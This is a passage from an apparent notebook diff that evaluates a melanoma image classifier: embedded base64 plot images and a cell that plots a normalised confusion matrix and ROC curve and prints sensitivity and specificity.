f/gbPPw/zitxe0bx54ak+GzXKTIwiZYkShVQq7nDDDfDQQ2G9UaPClVb32Sez8YmURUoUUqncc09IEtWrw5tvwmmnaapPkZIoUUilMWAA3HFHSAyvvAJnnJHpiETKB/0tJZXCSy/Bn/4Ulp9+Gs46K7PxiJQnShRS4b33HvTtG5bvuw8uuyyz8YiUN0oUUqENHw69e4dnJG65JQxki8jWSTpRmJlKmEm5MnZsGKxevx6uvDIMZIvI1isxUZjZoWY2BfgxWj/QzJ5IeWQi22HKFDjhBFi1Cvr0gcceU3kNkW2VTI/iIeB4YAmAu/8AHJnKoES2x6xZcOyx8NtvcPLJMGiQboEV2R5J/e/j7nOLbNqUglhEttuCBSFJzJ8PRx4Jb72lekwi2yuZ5yjmmtmhgJtZdeAaYGpqwxLZekuXwvHHh/mnDzoI3n8fatXKdFQi5V8yPYo/AFcRpjadB3QA/pjKoES21urV4TLTxIlhvumPP4Z69Up+n4iULJkexf7ufl7BDWZ2GDA6NSGJbJ316+HMM+Hrr8NkQZ9+qmJ+IqUpmR7FgCS3iaRdbi6cd15IDrvuGv5t2rTk94lI8rbYozCzrsChQCMzu67ArnqEGetEMsodrrgC3n4b6teHoUNhv/0yHZVIxZPo0lMNoE7Upm6B7SuAXqkMSqQksXLhL7wQBqw/+CBMMiQipW+LicLdRwAjzGygu/+cxphESnTvvfDgg+HW1//8Bw7ThLoiKZPMYPYaM7sPaAvUjG10924pi0okgccfh9tuC09av/RSeAJbRFInmcHsVwjlO/YB/gbMBsamMCaRLXrlFejXLyw//XQo+CciqZVMomjg7s8DG919hLtfAqg3IWn3/vtw0UVh+Z//hN//PrPxiFQWyVx62hj9u8DMTgbmA7ukLiSRzX3xRZhsaNMmuOkm+MtfMh2RSOWRTKK4x8zqA9cTnp+oB/w5pVGJFJCdHS8X/oc/hIFsEUmfEhOFu/83WlwOHAP5T2aLpNzUqWGweuVKOOcclQsXyYRED9xVBc4m1Hj62N0nmdkpwC1ALaBjekKUymr27FAJdskSOPHEUC68qh71FEm7RD2K54GmwLfAo2Y2H8gCbnL3d9MRnFReCxeGJDFvHhxxBAweDDVqZDoqkcopUaLIAtq7e56Z1QQWAvu6+5L0hCaVVaxc+IwZ0LFjuNtpR03EK5IxiW6P3eDueQDuvg6YqSQhqbZ6NZxyCkyYEOo2ffxxqOMkIpmTqEfRyswmRMsG7ButG+Du3j7l0UmlsmED/O538NVXoQJsrCKsiGRWokTROm1RSKW3aROcf36oANuoUUgSe+2V6ahEBBIXBVQhQEmLWLnwt94Ks9INHRpmqRORsiGZEh7bzMxOMLNpZjbDzG7aQpuzzWyKmU02s1dTGY+UPe7hKevnn4eaNeG//w0D2CJSdiTzZPY2iZ7DeBw4FsgBxprZEHefUqBNS+Bm4DB3X2pmuiJdyfzjH3D//VCtWpiA6IgjMh2RiBSVVI/CzGqZ2dZeDOgMzHD3me6+AXgdOL1Im98Dj7v7UgB3X7SVnyHl2JNPwq23xsuFn3RSpiMSkeKUmCjM7FRgPPBxtN7BzIYkcew9gbkF1nOibQXtB+xnZqPNbIyZaWaBSuK11+Cqq8Lyk0+G8hwiUjYl06P4K6F3sAzA3ccT5qYoDdWAlsDRQB/gWTPbqWgjM7vczLLNLHvx4sWl9NGSKR98ABdeGMYn/vGPMJAtImVXMolio7svL7LNk3jfPEIJkJgm0baCcoAh7r7R3WcB0wmJo/CHuT/j7lnuntWoUaMkPlrKqhEjoFcvyM0Ng9g3FXuLg4iUJckkislmdi5Q1cxamtkA4Ksk3jcWaGlm+5hZDeAcoOglq3cJvQnMrCHhUtTMZIOX8mXcODj1VFi3Di6/HPr3z3REIpKMZBLF1YT5stcDrxLKjZc4H4W75wL9gKHAVOBNd59sZneZ2WlRs6HAEjObAgwHblSZkIrpxx/j5cJ794YnnlC5cJHywtwTX0Uys4Pc/bs0xVOirKwsz87OznQYshV+/hkOPxxyckKyeO89VYIVSTczG+fuWdvy3mR6FA+Y2VQzu9vM2m3Lh0jl9csvoVx4Tg4cdlh4VkJJQqR8KTFRuPsxhJntFgNPm9lEM7st5ZFJubdsWSgX/tNP0KFDeOpa5cJFyp+kHrhz94Xu/ijwB8IzFXekNCop99asCeXCf/gBWrYM5cJ32uzGZxEpD5J54K61mf3VzCYCsTuemqQ8Mim3YuXCR4+GJk1g2DDYbbdMRyUi2yqZWk8vAG8Ax7v7/BTHI+Xcpk1wwQWhB9GwocqFi1QEJSYKd++ajkCk/HOHK6+EN9+EunVDsmjVKtNRicj22mKiMLM33f3s6JJTwXtoNcOdFOumm+DZZ+Plwjt1ynREIlIaEvUoron+PSUdgUj51r8//OtfoVz44MFw5JGZjkhESssWB7PdfUG0+Ed3/7ngC/hjesKT8uCpp+Dmm8OT1i++CCefnOmIRKQ0JXN77LHFbDuxtAOR8un11+GP0Z8NTzwBffpkNh4RKX2JxiiuJPQcmpvZhAK76gKjUx2YlH0ffhjucHKHe++FP/wh0xGJSCokGqN4FfgI+AdQsBj0Snf/LaVRSZk3cmR4ViI3F264QeXCRSqyRInC3X22mV1VdIeZ7aJkUXl991146nrdOrjssjCIrUqwIhVXST2KU4BxhNtjC34VONA8hXFJGTVtWqgAu2IFnHVWGMhWkhCp2LaYKNz9lOjf0pr2VMq5OXNCJdjFi0Oxv5dfhqpVMx2ViKRaMrWeDjOz2tHy+Wb2oJmpKEMls2hRSBJz58Khh6pcuEhlksztsU8Ca8zsQOB64H/ASymNSsqU5cvD5abp06F9+/DUde3amY5KRNIlmUSR62EavNOBx9z9ccItslIJxMqFf/89tGgBn3wCO++c6ahEJJ2SqR670sxuBi4AjjCzKkD11IYlZcGGDdCrF4waBXvuqXLhIpVVMj2K3sB64BJ3X0iYi+K+lEYlGbdpE1x4IXz0Ubxc+N57ZzoqEcmEZKZCXQi8AtQ3s1OAde7+Ysojk4xxh6uugjfeiJcLb90601GJSKYkc9fT2cC3wFnA2cA3ZtYr1YFJ5txyCzz9NOywA7z/vsqFi1R2yYxR3Aoc7O6LAMysETAMGJzKwCQz/vWvUDK8alV46y046qhMRyQimZbMGEWVWJKILEnyfVLOPPMM/N//hSetBw2CU0/NdEQiUhYk06P42MyGAq9F672BD1MXkmTCG2/Eq78+9hicd15m4xGRsiOZObNvNLOewOHRpmfc/Z3UhiXp9PHHcP75YRD7nnvi80uIiEDi+ShaAvcD+wITgRvcfV66ApP0GDUKevYM5cKvvz4MZIuIFJRorOEF4L/A7wgVZAekJSJJm/Hjw1PXa9fCJZfAffepEqyIbC7Rpae67v5stDzNzL5LR0CSHtOnw3HHhTpOv/tdGMhWkhCR4iRKFDXNrCPxeShqFVx3dyWOcmruXOjRI5QLP+44eOUVlQsXkS1LlCgWAA8WWF9YYN2BbqkKSlKnYLnwrl3hP/8JD9aJiGxJoomLjklnIJJ6sXLh06aFcuEffKBy4SJSMj04V0msXQunnRbKhe+7LwwdqnLhIpKclCYKMzvBzKaZ2QwzuylBu9+ZmZtZVirjqaw2bgzzW3/5JeyxRygXvvvumY5KRMqLlCUKM6sKPA6cCLQB+phZm2La1QWuAb5JVSyV2aZNcNFF4TJTgwahXHizZpmOSkTKk2Sqx1o0V/Yd0fpeZtY5iWN3Bma4+0x33wC8Tpglr6i7gX8C67YibkmCO/TrB6+9BnXqhLkl2myWqkVEEkumR/EE0BXoE62vJPQUSrInMLfAek60LZ+ZHQQ0dfcPEh3IzC43s2wzy168eHESHy0At90GTz0VLxd+8MGZjkhEyqNkEkUXd7+K6C9+d18K1NjeD46mVH0QuL6ktu7+jLtnuXtWo0aNtvejK4X774d77w3PR7z5Jhx9dKYjEpHyKplEsTEab3DIn48iL4n3zQOaFlhvEm2LqQu0A74ws9nAIcAQDWhvv+eegxtvDMsDB4a7nUREtlUyieJR4B1gVzP7OzAKuDeJ940FWprZPmZWAzgHGBLb6e7L3b2huzdz92bAGOA0d8/e2h9C4t56Cy6/PCwPGBCqwoqIbI9kyoy/YmbjgO6E8h1nuPvUJN6Xa2b9gKFAVeAFd59sZncB2e4+JPERZGt9/HGYR8Id7rorDGSLiGwvc/fEDcz2Km67u89JSUQlyMrK8uxsdTqKGj06lOZYuxauvRYeeEBF/kQkzszGufs2XdpPZoa7DwjjEwbUBPYBpgFtt+UDpfT98AOcfHJIEn37KkmISOlK5tLTAQXXo1taNQdaGfHTT/Fy4T17qly4iJS+rX4yOyov3iUFschWyskJ5cIXLQr/vvoqVEumjygishVK/Foxs+sKrFYBDgLmpywiScrixWFMYs4cOOQQeOcdlQsXkdRI5u/PugWWcwljFm+nJhxJxooVcOKJ8OOP0K5dqONUp06moxKRiiphoogetKvr7jekKR4pQaxc+LhxoVz4J5/ALrtkOioRqci2OEZhZtXcfRNwWBrjkQQ2boSzz4YRI6Bx41AJtnHjTEclIhVdoh7Ft4TxiPFmNgR4C1gd2+nu/0lxbFJAXh5cfDH897+hB/Hpp7DPPpmOSkQqg2TGKGoCSwhzZMeep3BAiSJN3OHqq8NdTbFy4W31FIuIpEmiRLFrdMfTJOIJIibx49xSqm6/HZ54ItzV9N570DmZ2UBEREpJokRRFahD4QQRo0SRJg88AH//eygX/sYb0K1bpiMSkcomUaJY4O53pS0S2cwLL8ANN8SXTy9ufkARkRRL9GS2CkFk0ODB8Pvfh+VHHoELL8xsPCJSeSVKFN3TFoUU8skncO654U6nv/4V/vSnTEckIpXZFhOFu/+WzkAk+OorOPPM8MzENdfAHXdkOiIRqey2uiigpM6ECaFc+Jo14ZmJBx9UJVgRyTwlijJixoxQLnzZstCjePZZqKL/OiJSBuirqAyYNy+UCf/lF+jeXeXCRaRsUaLIsF9/DeXCf/45PEj3zjtQs2amoxIRiVOiyKBYufCpU0NJjo8+grp1S36fiEg6KVFkyNq14QG67Gxo3lzlwkWk7FKiyICNG6F3b/jii3i58D32yHRUIiLFU6JIs7w8uOQSeP992Hnn0JNo3jzTUYmIbJkSRRq5h4foXn4ZatcOYxLt2mU6KhGRxJQo0ujOO+Gxx6BGjVAuvEuXTEckIlIyJYo0eeghuPvu8BDd66+H5yVERMoDJYo0+Pe/4brrwvILL4Qnr0VEygslihT7z3/gssvC8sMPw0UXZTYeEZGtpUSRQsOGQZ8+4U6nO+8MA9kiIuWNEkWKjBkDZ5wBGzbA1VeHRCEiUh4pUaTAxImhNMfq1WFmuocfVrlwESm/lChKWcFy4aefDs8/r3LhIlK+pfQrzMxOMLNpZjbDzG4qZv91ZjbFzCaY2Wdmtncq40m1efNCJdiFC6Fbt3AbrMqFi0h5l7JEYWZVgceBE4E2QB8za1Ok2fdAlru3BwYD/0pVPKm2ZEnoScyeDQcfDO++q3LhIlIxpLJH0RmY4e4z3X0D8DpwesEG7j7c3ddEq2OAJimMJ2VWrgxjElOmQJs2KhcuIhVLKhPFnsDcAus50bYtuRT4qLgdZna5mWWbWfbixYtLMcTtt25dGIsYOxaaNQtF/ho0yHRUIiKlp0wMs5rZ+UAWcF9x+939GXfPcvesRo0apTe4BHJz4ZxzYPhw2H338NzEnolSoYhIOZTKodZ5QNMC602ibYWYWQ/gVuAod1+fwnhKVV4eXHppKO4XKxe+776ZjkpEpPSlskcxFmhpZvuYWQ3gHGBIwQZm1hF4GjjN3RelMJZS5Q7XXgsvvgg77ggffggHHJDpqEREUiNlicLdc4F+wFBgKvCmu082s7vM7LSo2X1AHeAtMxtvZkO2cLgy5W9/g0cfDeXC330XDjkk0xGJiKROSu/yd/cPgQ+LbLujwHKPVH5+KjzySEgUVarAa6+F5yZERCqyMjGYXV4MHAh//nNYfu456Nkzo+GIiKSFEkWS3nknDF4DPPgg9O2b2XhERNJFiSIJn30WboPNy4Pbbw8D2SIilYUSRQm++SY8ULdhA/TrF8YnREQqEyWKBCZNipcLP//8MJCtcuEiUtkoUWzBzJmhyN/SpXDqqWGua5ULF5HKSF99xZg/H3r0gAUL4Oij4c03oXr1TEclIpIZShRF/PZb6EnMmgVZWTBkiMqFi0jlpkRRwKpVcNJJMHkytG6tcuEiIqBEkW/dOjjjjHCX0957hyJ/DRtmOioRkcxToiCUC+/TJzwvsdtuoVx4k3I5hZKISOmr9IkiLw8uuywU99tpp9CTaNEi01GJiJQdlTpRuMN118GgQfFy4e3bZzoqEZGyJaXVY8u6u+8OD9FVrx56FF27ZjoiqUg2btxITk4O69aty3QoUonUrFmTJk2aUL0U7+mvtIni0UfhzjvDQ3Svvqpy4VL6cnJyqFu3Ls2aNcP0SL+kgbuzZMkScnJy2GeffUrtuJXy0tOLL8I114TlZ56BXr0yG49UTOvWraNBgwZKEpI2ZkaDBg1KvRdb6RLFe+/BJZeE5fvvj5cOF0kFJQlJt1T8zlWqRPH553D22bBpE9x6K1x/faYjEhEp+ypNovj2WzjttFAu/Cv+wXoAABHCSURBVKqrwkC2SEVXtWpVOnToQLt27Tj11FNZtmxZ/r7JkyfTrVs39t9/f1q2bMndd9+Nu+fv/+ijj8jKyqJNmzZ07NiR68vgX1bff/89l5bhywLr16+nd+/etGjRgi5dujB79uxi2y1btoxevXrRqlUrWrduzddff52/b8CAAbRq1Yq2bdvyl7/8BYCJEydy8cUXp+EniLh7uXp16tTJt9akSe677OIO7uee675p01YfQmSrTZkyJdMheO3atfOXL7zwQr/nnnvc3X3NmjXevHlzHzp0qLu7r1692k844QR/7LHH3N194sSJ3rx5c586daq7u+fm5voTTzxRqrFt3Lhxu4/Rq1cvHz9+fFo/c2s8/vjjfsUVV7i7+2uvveZnn312se0uvPBCf/bZZ93dff369b506VJ3d//888+9e/fuvm7dOnd3/+WXX/Lf0717d//555+LPV5xv3tAtm/j927Gv/i39rW1iWLmTPc99gg/6SmnuG/YsFVvF9lmBf9nDU/tlP6rJAUTxZNPPulXXnmlu7s/99xzfsEFFxRqO2PGDG/SpIm7u19wwQX+/PPPl3j8lStX+sUXX+zt2rXzAw44wAcPHrzZ57711lt+0UUXubv7RRdd5FdccYV37tzZr732Wt97773zvxTd3Vu0aOELFy70RYsWec+ePT0rK8uzsrJ81KhRm332ihUrfL/99stf/+abb/yQQw7xDh06eNeuXf3HH390d/d///vffuqpp/oxxxzjRx55pK9atcr79u3rBx98sHfo0MHfffddd3efNWuWH3744d6xY0fv2LGjjx49usSfvyTHHXecf/XVV+4eklSDBg08Ly+vUJtly5Z5s2bNNtvu7n7WWWf5p59+WuyxH374Yf/nP/9Z7L7SThQV+vbYBQtCufD58+Goo1QuXCqvTZs28dlnn+Vfppk8eTKdOnUq1Gbfffdl1apVrFixgkmTJiV1qenuu++mfv36TJw4EYClS5eW+J6cnBy++uorqlatyqZNm3jnnXfo27cv33zzDXvvvTe77bYb5557Ltdeey2HH344c+bM4fjjj2fq1KmFjpOdnU27du3y11u1asXIkSOpVq0aw4YN45ZbbuHtt98G4LvvvmPChAnssssu3HLLLXTr1o0XXniBZcuW0blzZ3r06MGuu+7Kp59+Ss2aNfnpp5/o06cP2dnZm8V/xBFHsHLlys2233///fTo0aPQtnnz5tG0aVMAqlWrRv369VmyZAkNCxSSmzVrFo0aNaJv37788MMPdOrUiUceeYTatWszffp0Ro4cya233krNmjW5//77OfjggwHIysqif//++ZejUqnCJopYufCZM6FTp1AuvFatTEcllZV7yW1SYe3atXTo0IF58+bRunVrji3lB4aGDRvG66+/nr++8847l/ies846i6pVqwLQu3dv7rrrLvr27cvrr79O79698487ZcqU/PesWLGCVatWUadOnfxtCxYsoFGjRvnry5cv56KLLuKnn37CzNi4cWP+vmOPPZZddtkFgE8++YQhQ4Zw//33A+E25jlz5rDHHnvQr18/xo8fT9WqVZk+fXqx8Y8cObLEn3Fr5Obm8t133zFgwAC6dOnCNdd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",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Melanoma Sensitivity: 0.7606837606837606\n",
+            "Melanoma Specificity: 0.5610766045548654\n"
+          ]
+        }
+      ],
+      "source": [
+        "import seaborn as sns\n",
+        "from sklearn.metrics import roc_curve, auc, confusion_matrix\n",
+        "\n",
+        "def plot_confusion_matrix(y_test, y_pred):\n",
+        "  cmn = confusion_matrix(y_test, y_pred)\n",
+        "  # Normalise\n",
+        "  cmn = cmn.astype('float') / cmn.sum(axis=1)[:, np.newaxis]\n",
+        "  # print it\n",
+        "  print(cmn)\n",
+        "  fig, ax = plt.subplots(figsize=(10,10))\n",
+        "  sns.heatmap(cmn, annot=True, fmt='.2f', \n",
+        "              xticklabels=[f\"pred_{c}\" for c in class_names], \n",
+        "              yticklabels=[f\"true_{c}\" for c in class_names],\n",
+        "              cmap=\"Blues\"\n",
+        "              )\n",
+        "  plt.ylabel('Actual')\n",
+        "  plt.xlabel('Predicted')\n",
+        "  # plot the resulting confusion matrix\n",
+        "  plt.show()\n",
+        "\n",
+        "\n",
+        "def plot_roc_auc(y_true, y_pred):\n",
+        "    \"\"\"\n",
+        "    This function plots the ROC curves and provides the scores.\n",
+        "    \"\"\"\n",
+        "    # prepare for figure\n",
+        "    plt.figure()\n",
+        "    fpr, tpr, _ = roc_curve(y_true, y_pred)\n",
+        "    # obtain ROC AUC\n",
+        "    roc_auc = auc(fpr, tpr)\n",
+        "    # print score\n",
+        "    print(f\"ROC AUC: {roc_auc:.3f}\")\n",
+        "    # plot ROC curve\n",
+        "    plt.plot(fpr, tpr, color=\"blue\", lw=2,\n",
+        "                label='ROC curve (area = {f:.2f})'.format(d=1, f=roc_auc))\n",
+        "    plt.xlim([0.0, 1.0])\n",
+        "    plt.ylim([0.0, 1.05])\n",
+        "    plt.xlabel('False Positive Rate')\n",
+        "    plt.ylabel('True Positive Rate')\n",
+        "    plt.title('ROC curves')\n",
+        "    plt.legend(loc=\"lower right\")\n",
+        "    plt.show()\n",
+        "\n",
+        "plot_confusion_matrix(y_test, y_pred)\n",
+        "plot_roc_auc(y_test, y_pred)\n",
+        "sensitivity = sensitivity_score(y_test, y_pred)\n",
+        "specificity = specificity_score(y_test, y_pred)\n",
+        "\n",
+        "print(\"Melanoma Sensitivity:\", sensitivity)\n",
+        "print(\"Melanoma Specificity:\", specificity)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 16,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 585
+        },
+        "id": "dlpOzfdSo69B",
+        "outputId": "b358ecb6-dae9-48a5-9526-97840363c209"
+      },
+      "outputs": [
+        {
+          "data": {
+            "image/png": "iVBORw0KGgoAAAANSUhEUgAAAmYAAAI4CAYAAADAqCUNAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOy9e7Qtx1nY+fvq0b33PvelhyVZsmxhy3jAMRgmwWSGGQTjxGBgYP4AYsJgGwwGVggsnoHlMCaYGDIwkMzgmGBA2DwSQ4BAgAETMB7wsrMA8zIYYluyJEuW9bB0zz177+6uqm/++OocbV3dpyzdc851/e466/buru6ururu+up7tagqjUaj0Wg0Go39x+13BRqNRqPRaDQaRhPMGo1Go9FoNA4ITTBrNBqNRqPROCA0wazRaDQajUbjgNAEs0aj0Wg0Go0DQhPMGo1Go9FoNA4ITTBrXBaIyE0ioiISLqDsy0TkDy5Fvc5w7kfVU0R+U0Re+jiO83QROSUi/omv5TnP+yIR+ZWN3yoiN5+l7L6188ciInKLiNx1EeVPicgzn8w6XUpE5FoR+WsR6fe7Lo3GR0MTzBqXHBG5XURGEbn6tPXvqgP9TftTs0uPqn6uqv70+crVNnvhxn53qOoRVc1Pbg0fw/cB33+Jz3koOZfQehCo98/797sej5czPBP3Ar8HfM3+1arR+Ohpglljv7gNeMnuDxF5HrDYv+o8Pi5EQ3e5ICJ/Dziuqu/Y77o8GZypLy+1RvKgnPvJ4Czt+0Q/Pz8LvPIJPmajcUlpglljv3gT8BUbv18KvHGzgIgcF5E3ish9IvIBEXmViLi6zYvID4rI/SLyfuDzzrDvT4jIPSLyQRF5zYUMdBumxq8Rkbvr/t+6sf3VIvKLIvIzInISeNm5znUB9XyriLxi4/dXV3PMtoj8lYh8qoi8CXg68GvV/PTtZzCJXi8ivyoiD4rIe0Xkq0+r85trW26LyLtF5O9ubP+OWu9tEfkbEflfztI8nwv8/hnWv1hE3l+v8f/c7aOztGvYWHf6tX9lvfaPiMhvicgzzlKPxyAinyEibxeRh0TkThF5WV1/rnvoZSLyhyLywyLyAPBqEblVRP6tiPyGiOwAn1Xb9j/WY9wmIv9047xeRL5LRN5X2++PReRGEXlbLfJntc++9AKu4WLPPa/7fERE/gr4exfaXnX/PY1ePc6Pisiv1+t4p4g8a6Psc0XkLfX+uldEvquu70XkR+qzcndd7uu2W0Tkrnp/fQj4KbnI56ce54KeiVr8ncAzL+beaTQOHKra/trfJf0DbgdeCPwN8AmAB+4CngEocFMt90bgPwFHgZuAvwW+qm77WuA9wI3AlZgJQ4FQt/8y8GPAFnAN8F+BV9ZtLwP+4Cx1u6ke5+frvs8D7gNeWLe/GpiAL8ImNvPznOt89Xwr8Iq6/MXAB7EBVoCbgWdsttkZ6rl7nLcBrwNmwPNrnT97o85r4MW1rV8LvKNuew5wJ3D9xnGfdZa2+QXg205bp/WarsQGyr/duJ69dj69vme49i8E3ovdDwF4FfD2jbL/GfhnZ6nXM4BtTAMbgauA51/APfQyIAHfUM85B24FHgb+